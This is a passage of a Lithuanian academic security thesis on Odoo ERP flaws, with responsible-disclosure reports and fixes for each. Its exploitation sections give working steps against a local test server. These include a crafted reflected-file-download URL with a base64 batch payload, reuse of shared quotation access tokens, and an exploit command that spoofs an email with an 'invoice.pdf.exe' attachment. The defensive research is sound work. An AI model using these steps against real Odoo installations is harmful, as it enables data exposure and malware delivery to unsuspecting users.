aukos narsykléje bus inicijuojamas pilnai atakuotojo valdomo turinio failo atsiuntimas. Kadangi
nuoroda yra visiskai taisyklinga Odoo VVS nuoroda, ji ir parsiystas failai gali nesukelti aukai
itarimo, kadangi teoriskai tik jmonés darbuotojai gali sukurti tokia nuoroda ir jkelti faila j VVS.

Pazeidziamumas paveikia Odoo VVS 8.0 bei OpenERP 7.0 versija.

3.1.3.1. PazZeidziamumo analizé

Pazeidziamumas kyla web modulio HT'TP valdiklio metode saveas ajax, aprasomame mo-

dulio failo controllers/main.py 1110-oje eilutéje”:

@http.route('/web/binary/saveas_ajax', type='http', auth="public")
@serialize_exception
def saveas_ajax(self, data, token):

jdata = simplejson.loads(data)

model = jdatal'model']

field = jdatal'field']

data = jdata['data'l

id = jdata.get('id', None)

filename_field = jdata.get('filename_field', None)

context = jdata.get('context', {})

Model = request.session.model(model)
fields = [field]
if filename field:

fields.append(filename_field)

if data:

res = {field: data, filename_field: jdata.get('filename', None)}
elif id:

res = Model.read([int(id)], fields, context) [0]
else:

res = Model.default_get(fields, context)

filecontent = base64.b64decode(res.get(field) or '')

Sis valdiklis naudojamas failo atsisiuntimui i§ JavaScript kliento vartotojo narsykléje ini-
cijuoti. Svarbu atkreipti démesj | tai, jog valdikliui nereikalingas naudotojo prisijungimas —
atakuotojas gali sukonstruoti uzklausa bet kuriai pazeidziamos versijos Odoo VVS.

Parametrai valdikliui paduodami per HT'TP GET uzklausos data parametra, kurio reiksmeé
turety buti taisyklinga JSON struktura.

Kodo fragmento 1125-1126 eilutése matyti, jog jei kintamasis data, gaunamas is JSON

strukturos yra netuscias, tuomet jo reikSmeé toliau (zr. 1131 eil.) naudojama kaip atsiunciamo

Mttps://github.com/odoo/odoo/blob/1545591 /addons/web/controllers/main.py#L1110
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failo turinys. Kadangi kintamojo data reikSmé turéty buti base64 koduote uzkoduoti duomenys,
reiskia, jog konstruojant zalingg URL atakuotojas gali naudoti dvejetainio formato failus, pvz.

.exe, .doc, .pdf.

3.1.3.2. Isnaudojimo pavyzdys

Demonstracijai naudojamas musy kompiuteryje paleistas astuntosios Odoo versijos VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje idiegtas Odoo web modulis
ir naudojami demonstraciniai moduliy duomenys.

[$naudojimo zingsniai:

1. Paruosiame ,zalingg* faila — Windows Batch scenarijy, kurj jvykdzius paleidziamas Note-
pad teksto redaktorius: start notepad.;

2. Uzkoduojame failo turinj base64 koduote: c3RhcnQgbm90ZXBhZAo=;

3. Sukonstruojame URL: http://localhost:8069/web /binary/saveas ajax?data={"model”:””
,field”:”” ”data”:"c3RhenQgbm90ZXBhZAo=","filename”:"run.bat”,’filename_ field”:”a
" }&token=1

4. Atveriame URL aukos narsykléje. Narsyklé inicijuoja failo atsiuntimo dialogg failui pava-
dinimui ,run.bat“ (3.3 pav.).

5. Patikriname parsiysto failo turinj atveére jj teksto redaktoriuje.

You have chosen to open:

run.bat

which is: BIN file (14 bytes)
from: hitp://localhost:8069

Would you like to save this file?

Cancel Save File
3.3 pav. Atakuotojo valdomo turinio failo atsiuntimo dialogas

Kadangi base6/ koduote galima uzkoduoti ir dvejetainj faila, pvz. Windows operacinés
sistemos vykdomajj faila, atakuotojas nesunkiai gali nusiysti aukai nuoroda, kuri j jos kompiuterj
atsiysty, pvz. Trojos arklio, kirmino ar kitokio tipo virusa. Tiesa, norint jvykdyti faila auka dar
turés ji paleisti, taciau tai, jog aukai sudaromas jspudis, kad failas parsiystas is aukos jmonés

VVS, gali sumazinti aukos atsargumo jausma ir padrasinti jg paleisti failg.

3.1.3.3. Pazeidziamumo iStaisymas
Atakos atradéjas O. Hafif siulo keleta apsisaugojimo nuo Sios atakos metody [21, p. 19]. Ka-

dangi tiriamasis HTTP valdiklis naudojamas JavaScript kliento, siulomas pataisymas valdiklyje

reikalaujant papildomos nestandartines HTTP antrastés.
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@http.route('/web/binary/saveas_ajax', type='http', auth="public")
@serialize_exception
def saveas_ajax(self, data, token):

if not request.headers.get('X-AJAX-File-Download'):

raise werkzeug.exceptions.BadRequest ()

jdata = simplejson.loads(data)

model = jdata['model']

field = jdatal'field']

data = jdatal'data']

id = jdata.get('id', None)
filename_field = jdata.get('filename_field', None)
context = jdata.get('context', {})

Tokiu budu kviec¢iant valdiklj vartotojo narsykléje papildoma antrasté buty pridedama
AJAX uzklausos metu, o atidarant nuoroda narsykléje tiesiogiai valdiklis grazinty HT TP klaidos
statusa (7r. eil. 1113-1114), pvz. 400, indikuojantj, jog uzklausa suformuota neteisingai, kadan-
gi naudotojo narsyklé nepridés nestandartines HT'TP antrastés. Toks sprendimas nereikalauja

dideliy kodo pakeitimy taip sumazinant regresijos tikimybe.
3.1.3.4. Pranesimas apie pazeidziamuma

Apie §j pazeidziamuma buvo pranesta Odoo VVS kuréjams, laikantis atsakingo atskleidi-
mo procediiros . Prane§ime buvo paaiskintas pazeidziamumas ir pademonstruotas galimas jo
iSnaudojimo budas. Taip pat buvo pasiulytas budas pazeidziamumui istaisyti. Odoo saugumo
komanda sureagavo | praneSima apie pazeidziamuma, jvertino ji kaip vidutinio/auksto rizikin-
gumo ir pazadéjo atlikti nuodugnesne analize (skyrelis 6.3.4. zr. psl. 83, Pranesimas apie RFD
pazeidziamuma ,web“ modulyje). Ataskaitos rengimo metu Sis pazeidziamumas Odoo VVS dar

nebuvo istaisytas.

3.1.4. Nesaugiy prieigos zetony generavimas ,,website quote*

modulyje

Kodo perziuros metu nustatyta nesaugiy prieigos prie pardavimo uzsakymuy zetony gene-
ravimo galimybe, jei modulis ,,website quote” jdiegiamas ne ,Odoo* VVS jdiegimo metu. Jei
modulio jdiegimo metu sistemos duomeny bazéje egzistuoja pardavimo uzsakymy, israsyty skir-
tingiems klientams, tuomet modulio jdiegimo metu visiems Siems pardavimo uzsakymams bus
sugeneruota ta pati prieigos zetono (angl. access token) reiksmé. Tokiu budu, pries modu-
lio jdiegimg sukurti pardavimo uzsakymai jgis ta pacia prieigos zetono reiksme ir kiekvienas
is siy pardavimo uzsakymy klienty galés perskaityti kity klienty pardavimo uzsakymus, gali-
mai atskleidziant konfidencialia informacija, ir atlikti veiksmus kito kliento vardu (uzsakymo

patvirtinimas, atmetimas, bendravimas kliento vardu).

Ohttps:/ /www.odoo.com/page/responsible-disclosure
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Pazeidziamumas paveikia Odoo VVS 8.0, 9.0 bei 10.0 versijas.

3.1.4.1. PazZeidziamumo analizé

Pazeidziamumas kyla del Odoo ORM duomeny lauko numatytujuy reikSmiy apskaic¢iavimo

ypatybes'!:

def _set_default_value_on_column(self, cr, column_name, context=None):
# ideally, we should use default_get(), but it fails due to ir.values
# not being ready

# get default value
default = self._defaults.get(column_name)
if callable(default):
default = default(self, cr, SUPERUSER_ID, context)

column = self._columns[column_name]
ss = column._symbol_set
db_default = ss[1] (default)
# Write default if non-NULL, exzcept for booleans for which False means
# the same as NULL - this saves us an expensive query on large tables.
write_default = (db_default is not None if column._type != 'boolean'
else db_default)
if write_default:
_logger.debug("Table 'Js': setting default value of new column %s to %r",
self._table, column_name, default)
query = 'UPDATE "Ys" SET "Ys"=Y%s WHERE "%s" is NULL' % (
self._table, column_name, ss[0], column_name)
cr.execute(query, (db_default,))

# this is a disgrace

cr.commit ()

2400-oje eilutéje kvieciama funkcija, kuri apskaiciuoja numatytasias reikSmes naujai pri-
détiems duomeny bazés lentelés laukeliams. 2412-oje eilutéje jvykdoma SQL uzklausa, kuri
apskaiciuotg reikSme jraso j visas lentelés eilutes, kuriose laukelio reikSmé yra tuscia.

Modulis ,website quote® isSplecia pardavimo uzsakymuy modelj sale.order ir prideda prieigos
2

7etona saugantj laukelj access token. '2:
_columns = {
'access_token': fields.char('Security Token', required=True, copy=False),
'template_id': fields.many2one('sale.quote.template', 'Quote Template', readonly=True,
states={'draft': [('readonly', False)], 'sent': [('readonly', False)l}),

'website_description': fields.html('Description'),

‘options' : fields.one2many('sale.order.option', 'order_id', 'Optional Products Lines',
< copy=True),

'validity_date': fields.date('Expiry Date'),

Uhttps://github.com/odoo/odoo/blob/1545591 /openerp/models. py #L2393-L2416
2https://github.com/odoo/odoo/blob/1545591 /addons /website_quote/models/order.py#L139-L151
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"amount_undiscounted': fields.function(_get_total, string='Amount Before Discount',
< type="float",

digits_compute=dp.get_precision('Account'))
}
_defaults = {

'access_token': lambda self, cr, uid, ctx={}: str(uuid.uuid4())

150-0je kodo fragmento eilutéje nurodoma numatytaja laukelio access token reikSme ap-
skai¢iuojanti anoniminé funkcija. Si funkcija grazina atsitiktinj unikaly identifikatoriy (angl.
UUIDJ). Taip pat reikia pastebéti, jog laukelio reiksmé yra privaloma (angl. required), taigi
laukelis buitinai uzpildomas visose eilutése modulio jdiegimo metu.

Kadangi viena ir ta pati numatytoji reikSmé nustatoma visoms eilutéms, kuriose lauke-
lio reiksme tuséia, visi iki modulio jdiegimo egzistave pardavimo uzsakymuy objektai, sukurti
skirtingiems klientams, jgis ta pacia prieigos Zetono laukelio (access token) reikSme.

Prieigos zetonas naudojamas tam, kad klientai, neturintys prisijungimo prie Odoo VVS,
galéty perziureti jmonés teikiama pardavimy pasiulyma ir atlikti veiksmus, pvz. komentuoti,
priimti ar atmesti pasiulyma, atvére pardavimy pasiulymo perziuros nuoroda interneto nar-
sykléje. Pardavimy pasiulymo nuoroda klientui nusiunciama el. laisku, o vienas iS nuorodos

parametry (token) saugo prieigos Zetono reiksme 3.

3.1.4.2. Isnaudojimo pavyzdys

Demonstracijai naudojamas musy kompiuteryje paleistas astuntosios Odoo versijos VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje jdiegtas Odoo sale modulis
ir naudojami demonstraciniai moduliy duomenys.

[snaudojimo zingsniai:

1. Prisijungus prie Odoo VVS su naudotoju, turin¢iu pardavimy uzsakymy kurimo privile-
gijas, pagrindiniame meniu einama Pardavimai — Komerciniai pasiulymai, spaudziamas
mygtukas Sukurti. Sukuriame dviejyu Komerciniy pasiulymy juodrascius, vieng klientui
,Agrolait“, kitg — ,Axelor®. | pasiulymus jtraukiame po vieng bet kokio produkto vienetg.

2. Prisijungus prie Odoo VVS su naudotoju, turin¢iu moduliy jdiegimo privilegijas, pagrin-
diniame meniu einama Nustatymai — Local modules, surandamas ir jdiegiamas modulis
»Online Proposals“ (techninis pavadinimas — website__quote).

3. Grijztame j komerciniy pasiulymy meniu ir pasirinke po viena is pries tai sukurty pasiulymuy
spaudziame mygtuka ,,Siysti el. pastu®, atsidariusiame lange pasirenkame ,Siysti®.

4. Komercinio pasiulymo formos rodinyje po dokumentu esancioje susirasinéjimo paneléje
perziurime issiysta laiska, ir uzvede pele ant mygtuko ,View Quotation® perziurime, kur

nukreipia nusiystoji nuoroda:

B3https://github.com/odoo/odoo/blob/1545591 /addons/website _quote/controllers/main.py#L36
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O Komerciniai pasidly x \| 3]

< C | @ localhost:50

Komerciniai ... / SO008

odoo [ Keisti ][ Sukurti | Spausdinti + || Daugiau 2/5 (@ | E\‘j )

b 13 viso : 320.00 €
Pardavimy komandos

Pirkejal

Zinugiy i pranesimu isto

FmeE= O e s e i ”
Products @) YourCompany Quotation (Ref SO008) 2 prenumeratoriai Pridéli

G ¢ Hello Agroiat, itus

Drodukto vanantal Hefe is your quotation from YourCompany: @ homnerar x

REFERENCES .

Produktal pagal kategorjas Order number. 50008 & Agoolait x
T Order total: 3200 .. read more

ustatymai -

View Quotation
Quotation Templates
Matavimo vienety kategorjos ~
=
Adresy knyga S0008_pat
Produkto kategorjos ir atr
Administrator Kl Agroait - PrieS 12 min.  patinka
@ YourCompany Guotation (Ref S00tE)
¢ Hello Agrolal,
Hefe Is your quotation from YourCompany:

localhost:8069/quote/9/b5538b12-aab4-4d6e-b594-0af1b11d62e4 !EFERENCES -

3.4 pav. Komercinio pasiulymo prieigos nuoroda ,,Agrolait*“ klientui

© Komerciniai pasidly x \| | L&)

& C | © localhost:8089/weh?#id=10&view_type=form&model=sale.order&action=324 LR

Pardavimai

Komerciniai ... / SO009

odOO [ Keisti [ Sukurti | Spausdinti ~ | [ Daugiau = /s [« o] [=][E] &)

‘Suma be mokesciy 11655.00 € -
Mokestiai 0.00€

18 viso :  11655.00 €

Pardavimai

Pardavimy kemandos

Firkgja
Komercinaipasillyma (@)
Pardavimy uzsakymai o Zinutiy i pranesimy itoria
Products ~
feaine e e —
Produtal
@ YourCompany Quotation (Ref S0008) ai Pride
B o @ YourGompany 2 prenumerateriai Pridéli
4 g Kitus
Produktal pagal kategorjas Here s your quotation rom YourGompany: dmincator X
Nustatymai REFERENCES .
uotaton tempits Order number: 50000
TIETD G TED Order total: 11655.0 . eac more
Matavimo vienety kategorios View Quotation
Adresu knyga =
-
Produkto kategorjos ir atr.. =
50009_pat
sirtor I Avelor - Prie$ 9 min. - patinka
@ YourCompany Quotation (Ref S0008)
¢ pelo Axcbr,
localhost:8069/quote/10/b5538b12-aab4-4d6e-b594-0af 1b11d62e4 -

3.5 pav. Komercinio pasiulymo prieigos nuoroda ,,Axelor* klientui

5. Galima pastebéti, jog abu klientai gaus jiems skirto komercinio pasiulymo prieigos nuoro-
das su ta pacia prieigos zetono reiksme (b5538b12-aa6/-4d6e-b594-0af1b11d62¢4). Kadangi
prieigos nuorodos skiriasi tik komercinio pasiulymo dokumento duomeny bazeés identifika-
toriaus reikSme, padidinus ar sumazinus identifikatoriaus reikSme klientai galés matyti ir

atlikti veiksmus su kitam klientui skirtu komerciniu pasialymu.

3.1.5. Autentifikacijos/autorizacijos apéjimo pazeidZziamumas ,,mail*

modulyje

Kodo perziuros metu modulyje mail aptiktas autentifikacijos ir autorizacijos apéjimo pa-
zeidziamumas, jgalinantis atakuotoja, neturintj prisijungimo prie Odoo VVS duomeny, atsakyti
i susirasinéjimag, inicijuota per Odoo VVS, apsimetant bet kuriuo jmonés VVS egzistuojanciu
partneriu (objektas res.partner), jskaitant ir bet kurj jmonés darbuotoja. Atakuotojas gali pil-
nai valdyti el. laisko turinj, pvz. pridéti prisegtukus ir t. t.

Pazeidziamumas paveikia Odoo VVS 8.0, 9.0 bei 10.0 versijas.
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3.1.5.1. PazZeidziamumo analizé

Pazeidziamumas kyla mail modulio HTTP valdiklyje receive, aprasomame modulio failo

controllers/main.py 31-44 eilutése!t:

@http.route('/mail/receive', type='json', auth='none')
def receive(self, req):
" End-point to receive mail from an external SMIP server. """
dbs = req.jsonrequest.get('databases')
for db in dbs:
message = dbs[db].decode('base64')
try:
registry = openerp.registry(db)
with registry.cursor() as cr:
mail_thread = registry['mail.thread']
mail_thread.message_process(cr, SUPERUSER_ID, None, message)
except psycopg2.Error:

pass

return True

Sprendziant i$ kodo komentaro 33-oje eilutéje, valdiklis skirtas el. laiskams is iSorinio SMTP
(angl. Simple Mail Transfer Protocol) serverio priimti. 31-oje eilutéje HTTP valdiklio dekorato-
rius apibrézia valdiklio naudojimg — parametras type=json’ reiskia, jog valdiklis apdoroja JSON
turinio tipo HTTP uzklausas, o parametras — auth="none’ reiskia, jog valdikliui netaikoma jokia
naudotojo autentifikacija. 34-oje eilutéje iS uzklausos turinyje esancios JSON strukturos skai-
toma databases rakto reikSmeé, sauganti el. pasto laisky kiekvienai Odoo VVS duomeny bazei
zodyno (angl. dictionary) tipo struktura, kur Zodyno raktas — duomeny bazés pavadinimas, o
reikimé — base64 koduote uzkoduotas el. laiskas pagal RFC2822'% standarty (36-oji eiluté). 41-
oje eilutéje kvieciamas el. laisko apdorojimo metodas message process. Svarbu pastebéti, jog
metodas kvieciamas super-vartotojo (SUPERUSER__ID) teisémis, taigi véliau nebus atlieckama
jokia vartotojo autorizacija.

Nors panaudojant sj HT'TP valdiklj pasiekiama tas pats, kas pasiekiama siunciant el. laiska
su suklastotu siuntéjo adresu, iSnaudojant §§ HT'TP valdiklj apeinamos tokios SMTP serverio
saugumo funkcijos kaip SPF, DKIM ar prisegtuky skenavimas antivirusine programa. Taip pat

panaudojant §j valdiklj netaikomi jokie apribojimai el. laisky kiekiui.
3.1.5.2. ISnaudojimo pavyzdys

Demonstracijai naudojamas musy kompiuteryje paleistas astuntosios Odoo versijos VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje vuln jdiegtas Odoo mail
modulis ir naudojami demonstraciniai moduliy duomenys.

[Snaudojimo zingsniai:

14https://github.com/odoo/odoo/blob/1545591/addons/mail/controllers/main.py#L3 1-L44
Bhttps://tools.ietf.org /html /rfc2822.html
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1. Prisijungus prie Odoo VVS su naudotoju, turin¢iu pardavimy uzsakymy kurimo privile-
gijas (pvz. demo), pagrindiniame meniu einama Pardavimai —Komerciniai pasiulymas,
spaudziamas mygtukas Sukurti. Sukuriame komercinj pasiulyma klientui ,,Agrolait®, i pa-
sitlyma jtraukiame po viena bet kokio produkto vieneta. Isidémime sukurto komercinio
pasiulymo duomeny bazés identifikatoriy, pvz. 12.

2. Prisijungus prie Odoo VVS su naudotoju, turiné¢iu administratoriaus teises, pagrindinia-
me meniu einame Nustatymai —FEl. pastas —FEl. laiskai, spaudziame mygtuka Sukurti.

Uzpildome el. laisko laukus:
e Tema: D¢l pasiulymo

To (partners): Agrolait

Tekstas: Laba diena, laukiame Jusy atsakymo.
Related Document Model: sale.order

Susijes dokumento ID: 12 (sukurto komercinio pasiulymo ID)

Spaudziame ISsaugotsi. Nusikopijuojame issaugoto el. laisko laukelj Message-Id
(korteléje ISsamus), pvz. <1484861149.874521017074585.827393498307159-openerp-12-
sale.order@b7d7a594321f>. Iprastu atveju, Odoo VVS issiysty §j laiska klientui ,,Agro-
lait“, kuris galéty pamatyti Message-ID antrastes reikSme perziuréjus el. laisko originalo
teksta. Issiysto laisko tekstas susiejamas ir matomas po sukurto komercinio pasiulymo

dokumentu formos rodinyje:

© Komerciniai pasiily x [a]

& — C | @ localhost:8069/web#id=12aview._type=formamodel=sale.ordersaction=324 Faln

Komerciniai ... / S0011

odOO [ Keisti [ Sukurti | Spausdinti ~ | [ Daugiau = 717 [« [ » | [=]E] =]

Pardavimai

Pirkejai
Komerciniai pasidlymai
Pardavimy uzsakymai e Mokeséiai 0.00€

Gretrnn 18 viso : 1799.00 €
Produktal
Produkio vanantai

Produktai pagal kategorijas

Nustatymai Rasyti Zinutg

[ Prenumeruoti

Quotation Templates
Matavimo vienety Kategorjos

Adresy knyga,

Produkto kategorijos ir atri

- Pardavéjas: De;
Demo User ainaviino dukomenta - Pries 15 min. - ptinkz

Technologia Odoo

3.6 pav. ISsiysto el. laisko tekstas po komercinio pasitilymo dokumentu

3. Sukuriame bet kokio turinio pavyzdinj el. laisko prisegtuko failg pavadinimu, pvz. invoi-
ce.eze.

4. Naudodami pateikta paZeidziamumo iSnaudojimo scenarijy (priedas 6.2.1. zr. psl. 70,
Autentifikacijos/autorizacijos apéjimo pazeidziamumo ,mail“ modulyje iSnaudojimo kodo

pavyzdys), komandingje eilutéje jvykdome komanda:
python exploit_mail_receive.py http://localhost:8069 vuln

< '1484861149.874521017074585.827393498307159-0openerp-12-sale.order@7d7a594321f"
admin@yourcompany.example.com --to demo@yourcompany.example.com —--subject 'Re:
Del pasiulymo' --body 'Labas, demo, prasau paziureti prisegtuka. Aciu, admin'
-a invoice.pdf.exe

L e
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5. Pakartotinai atveriame sukurto komercinio pasiulymo formos rodinj narsykléje. Po doku-

mentu matyti komandinéje eilutéje iSsiysto laisko tekstas ir prisegtukas:

O Komerciniai pasily x 3]

ype=form&model-sale.orders

& G | ® localhosto6a/websid=1

Pardavimai

Komerciniai ... / S0011

0dO0 s

(=i 717 [« ]w] EEE
Pardavimai Suma be mokesciy 1789.00€
Pardavimy komandos Mokestiai 0.00€
Pirksja < viso -
ISviso:  1799.00 €
Komercinaipasitymai (@)
Pardavimy uzsakymai e
Zinudiy i pranesimu itoria
Products
e —
Produkto vanantal s
@ Labas, demo, prasau paztureti prisegtuka. admin 2 prenumeratorial Pridét
Produktal pagal kategorjas s Kitus
P <> @ pemouser  x
3
Quotation Templates D administrator  x

invoicepdfexe
Matavimo vienety kategorjos

Adresy knyga,

Produkto kategorijos ir atri N

S Quotation created
. Demo User ainaujino dukomenta - Pries 22 min. - ptinka

N - Pirkejas: Agrolait
i - Suma be mokesgiy: 1700.0
Technologja Odoo  Pardavéjas: Demo User -

3.7 pav. ISsiysto laisko turinys po komerciniu pasiulymu

6. Zinodami vien tik issiysto el. laisko Message-ID antrastés reiksme ir Odoo VVS duomeny
bazés pavadinima, i$ kliento ,,Agrolait“ perspektyvos apsimetéme vartotoju Administrator

ir vartotojui Demo User issiuntéme laiska su galimai kenkéjisku prisegtuku.

3.1.6. Aptikty pazeidziamumy santrauka

3.1 lenteléje pateikiama trumpa aptikty pazeidziamumy santrauka, jtraukiant pazeidziama
Odoo VVS modulj, ir Odoo VVS versijas, kurios yra paveikiamos pazeidziamumo, Odoo saugumo

komandos priskirta pazeidziamumo rizikingumo jvertj ir pazeidziamumo istaisymo busena.

3.1 lentelé. Aptikty pazeidZiamumy lentelé

Nr. | Modulis Odoo versijos | Pazeidziamumas Rizikingumo jvertis Istaisytas
1 account 8.0 XSS Vidutinis Ne

2 | website 8.0, 9.0 XSS Labai zemas Taip

3 | mail 7.0, 8.0 Nesaugus getattr() Aukstas (7,1 balo pagal CVSS) Ne

4 | web 8.0 RFD (Reflected File Download) Vidutinis/aukstas Ne

5 website__quote | 8.0, 9.0, 10.0 Nesaugiy prieigos zetony generavimas n/a Ne

6 | mail 8.0, 9.0, 10.0 Autentifikacijos/autorizacijos apéjimas Vidutinis (5,3 balo pagal CVSS) Ne
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4. SAUGOS SPRAGU ISTAISYMO GALIMYBIU TYRIMAS

4.1. Pranesimas apie pazeidziamumus

Darbo metu aptikta ir pranesta apie Sesis Odoo VV'S paveikiancius pazeidziamumus, i$ kuriy
vienas buvo istaisytas. Apie aptiktus pazeidziamumus buvo pranesta Odoo saugumo komandai,
laikantis Odoo kuréjy apibréztos atsakingo atskleidimo procediiros !. Pranesimuose buvo patei-
kiama aptikto pazeidziamumo analizé, pateikti galimo jy iSnaudojimo scenarijai ir, kur jmanoma,
pasitilytas galimas pazeidZziamumo pataisymas. Siame skyriuje pateikiamas sitilomas kiekvieno

is pazeidziamumy pataisymas ir trumpa Odoo saugumo komandos reakcijos apzvalga.

4.1.1. Pranesimo formatas

Siekiant sekmingo ir spartaus pazeidziamumy istaisymo, pranesimuose apie pazeidziamu-
mus jtraukiama si informacija:
1. pazeidziamumo paveikiamy Odoo VVS versijy numeriai, jskaitant projekto git repozitorijos
versijos rakta (angl. commit);
2. pazeidziamg vietg salygojancio kodo fragmentai ir iSsami jy analizé;
3. detalus pazeidziamumo testavimo aplinkos aprasymas:
(a) testavimo aplinkoje naudojama Odoo VVS versija, iskaitant projekto git repozitorijos
versijos rakta (angl. commit);

(b) minimalus pazeidziamumui isnaudoti reikalingy idiegtu Odoo VVS moduliy sarasas;

—~
o

) pradiniy duomeny, reikalingy pazeidziamumui iSnaudoti, aprasymas;

(d) pazeidziamos vietos testavime naudojamuy interneto narsykliy pavadinimai ir versijy
numeriai;

(e) pazeidziamumui isnaudoti reikalingy Odoo VVS naudotojy prisijungimo duomenys ir

reikalingy prieigos teisiy sarasas;

4. issamus pazeidziamumo isnaudojimo pavyzdys. Kur jmanoma, pridedamas papildomas
iSnaudojimo scenarijaus kodas Python programavimo kalba.
5. kur jmanoma, pateikiamas veiksmy, reikalingy pazeidziamumui istaisyti, sarasas ir/arba

iSsamiai aprasytas pataisymo programinis kodas.
4.1.2. Pazeidziamumai ,,Due Payments* ataskaitoje

4.1.2.1. PazeidZiamumo iStaisymas

Sj pazeidziamuma istaisyti galima panaudojant Q Web ciklo elementa naujy eiluciy simboliy

\n pakeitimui <br> elementu ir iSvalant kiekviena is eilu¢iy isvedimo metu:

Yhttps: //www.odoo.com /page /responsible-disclosure
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10
11
12
13
14
15
16
17

302
303
304

305
306

307

<div "row'">
<div "col-xs-5 col-xs-offset-7">
<span "addresses[o.id] .split('\n')" "line">
<t "line">
<t "line"/><br/>
</t>
</span>
<span "o.name"/><br/>
<span "o.vat"/>
</div>
</div>

Cikle iteruojama per eilutes, gautas kintamojo addresses reiksme isskaidzius ties \n simboliu
(9-oji eilute). 11-oje kodo pavyzdzio eilutéje kiekviena i$ eiluciy bus isvedama j ataskaitos HTML
koda, taciau pries tai bus atliktas iSvalymas (angl. escaping), kadangi naudojamas t-esc Q) Web
clementas 2. Kiekvienos eilutés gale bus jterpiamas <br> elementas, tokiu biudu i$vengiant t-raw

@ Web elementy panaudojimo.

4.1.2.2. Pranesimas apie pazeidziamumag

Odoo saugumo komanda sureagavo j pranesima apie pazeidziamuma, jvertino ji kaip viduti-
nio rizikingumo ir pazadéjo ji istaisyti (skyrelis 6.3.1. zr. psl. 73, XSS pazeidziamumas ,account*

modulyje). Ataskaitos rengimo metu sis pazeidziamumas Odoo VVS dar nebuvo istaisytas.

4.1.3. XSS pazeidziamumas ,,website* modulyje

4.1.3.1. PazeidZiamumo iStaisymas

Sj pazeidziamumg istaisyti sitiloma img HTML elemento kodo generavimo metu alternaty-
viojo teksto atributo alt reikSmei atliekant iSvalyma panaudojant Odoo VVS Python bibliotekoje

openerp.tools esancig funkcijg html_escape:

if options.get('alt-field') and getattr(record, options['alt-field'], Nomne):
alt = record[options['alt-field']]

elif options.get('alt'):
alt = options['alt']

img = '<img class="Ys" src="Ys" style="Ys"%s/>"' ), (classes, src, options.get('style', ''), '
o~ alt="Ys"' J escape(alt) if alt else '')

return ir_qweb.HTMLSafe (img)

Kodo fragmento 306-oje eilutéje atributo reikSmeés kintamojo alt reiksmé isvaloma (jei kin-
tamojo reikSmeé netuscia) iskvieciant funkcija escape pries atliekant img elemento HTML kodo

tekstinés eilutés formatavima.

https:/ /www.odoo.com/documentation /8.0 /reference /qweb.html#data-output
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4.1.3.2. Pranesimas apie pazeidziamumag

Odoo saugumo komanda sureagavo | pranesima apie pazeidziamuma, jvertino jj kaip labai
zemo rizikingumo, kadangi atakai jvykdyti reikalingas naudotojo, turinc¢io produkty redagavimo
privilegija, prisijungimas. Nepaisant to, Odoo komanda pazadéjo ji iStaisyti (skyrelis 6.3.2. zr.
psl. 77, XSS pazeidziamumas ,website“ modulyje). Pazeidziamumas istaisytas Odoo VVS pro-
jekto Git versijavimo sistemos repozitorijos jrasu 1d25fe1e05d61c9b6be5d3bd25a65e508¢4696b73.

4.1.4. Nesaugus getattr() funkcijos naudojimas modulyje ,,mail*

4.1.4.1. PazeidZiamumo iStaisymas

Atsizvelgiant j tai, jog pazeidziamuma sukelian¢iame kodo fragmente esantis komentaras in-
dikuoja Odoo VVS programuotojuy isreiksta nora pakeisti valdiklio funkcija panaudojant funkcija
is kito valdiklio, Odoo saugumo komandai buvo pasiulyta perziuréti sig kodo dalj ir atlikti komen-
tare nurodytus pakeitimus. Kitas galimas problemos sprendimas buty apriboti galimy naudoti
modeliy ir kvie¢iamy metody sarasa ir §j tikrinima atlikti pries kvieciant funkcija getattr, o

neleistino modelio/metodo atveju sukelti iSimt;.

4.1.4.2. Pranesimas apie pazeidziamumag

Odoo saugumo komanda sureagavo j pranesimg apie pazeidziamuma, jvertino jj kaip auksto
rizikingumo (7,1 balo pagal CVSS%), pazadéjo atlikti nuodugnesne analize ir pasitilyti galima
iStaisyma (skyrelis 6.3.3. zr. psl. 81, Nesaugus getattr() funkcijos naudojimas modulyje , mail“).

Ataskaitos rengimo metu Sis pazeidziamumas Odoo VVS dar nebuvo istaisytas.

4.1.5. Nesaugiy prieigos Zetony generavimas ,,website quote*

modulyje

4.1.5.1. Pazeidziamumo istaisymas

Pazeidziamumui istaisyti pasiulyta modulyje website quote iSplésti modelio sale.order me-
toda _auto_init ir modulio jdiegimo metu tikrinti, ar laukas access token duomeny bazés lentele-
je egzistavo pries iskvieCiant tévines klasés metoda (kuris sukurs lauka, jei sis dar neegzistavo), o
po to uzpildyti iki jdiegimo egzistavusiy jrasy lauka access token kiekvienam jrasui unikaliomis

reikSmémis, jei laukas pries tai neegzistavo. Pataisymo pseudokodas:

from openerp import models

3https: //github.com/odoo/odoo/commit/1d25fe1e05d61cIb6be5d3bd25a65e5b8c¢4696b7
4https://www.first.org/cvss /calculator /3.04CVSS:3.0/AV:N/AC:L/PR:L/UL:N/S:U/C:N/I:L/A:H/E:P /RC:C
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class SaleOrder (models.Model):

_inherit = 'sale.order'

def _auto_init(self, cr, context=None):
column_existed = check_column_exists('access_token')
super(sale_order, self)._auto_init(cr, context)
if not column_existed:

regenerate_access_tokens ()

Kodo fragmente pateikti pavyzdiniai nejgyvendinti metodai check_column_exists, patikri-
nantis, ar laukas egzistuoja duomeny bazés lenteléje, ir regenerate_access_tokens, generuojantis
ir jrasantis unikalias prieigos zetono laukelio reikSmes esamiems jrasams.

Atlikus papildomg Odoo VVS kodo bazés perziurg, nustatyti dar du moduliai, kuriuose
prieigos valdymo ar kitoms reikméms skirti duomeny laukai naudoja ta patj metoda numatytuju

reikSmiy generavimui:
o Modelio im__chat.session laukelis uuid modulyje m__chat, failo im__chat.py 52-0ji eiluté °,

o Modelio survey.user input laukelis token modulyje survey, failo survey.py 889-oji eiluté ©.

Nepaisant to, siuose moduliuose laukeliai pridedami j naujg, duomeny bazéje dar neegzis-
tuojantj modelj, taigi iki modulio jdiegimo duomeny bazéje Sio modelio lentelé dar neegzistuos.
Visgi, kadangi unikaliy numatytyju reikSmiy generavimas yra butina funkcija, jei laukelio reiks-
méms butinas unikalumas, taigi svarstytinas pataisymas buty patobulinti Odoo VVS ORM kar-
kasa, leidziant programuotojui nurodyti, jog naujai pridedamo duomeny lauko numatytosioms

reikSméms reikalinga uztikrinti unikaluma.

4.1.5.2. PraneSimas apie pazeidziamumag

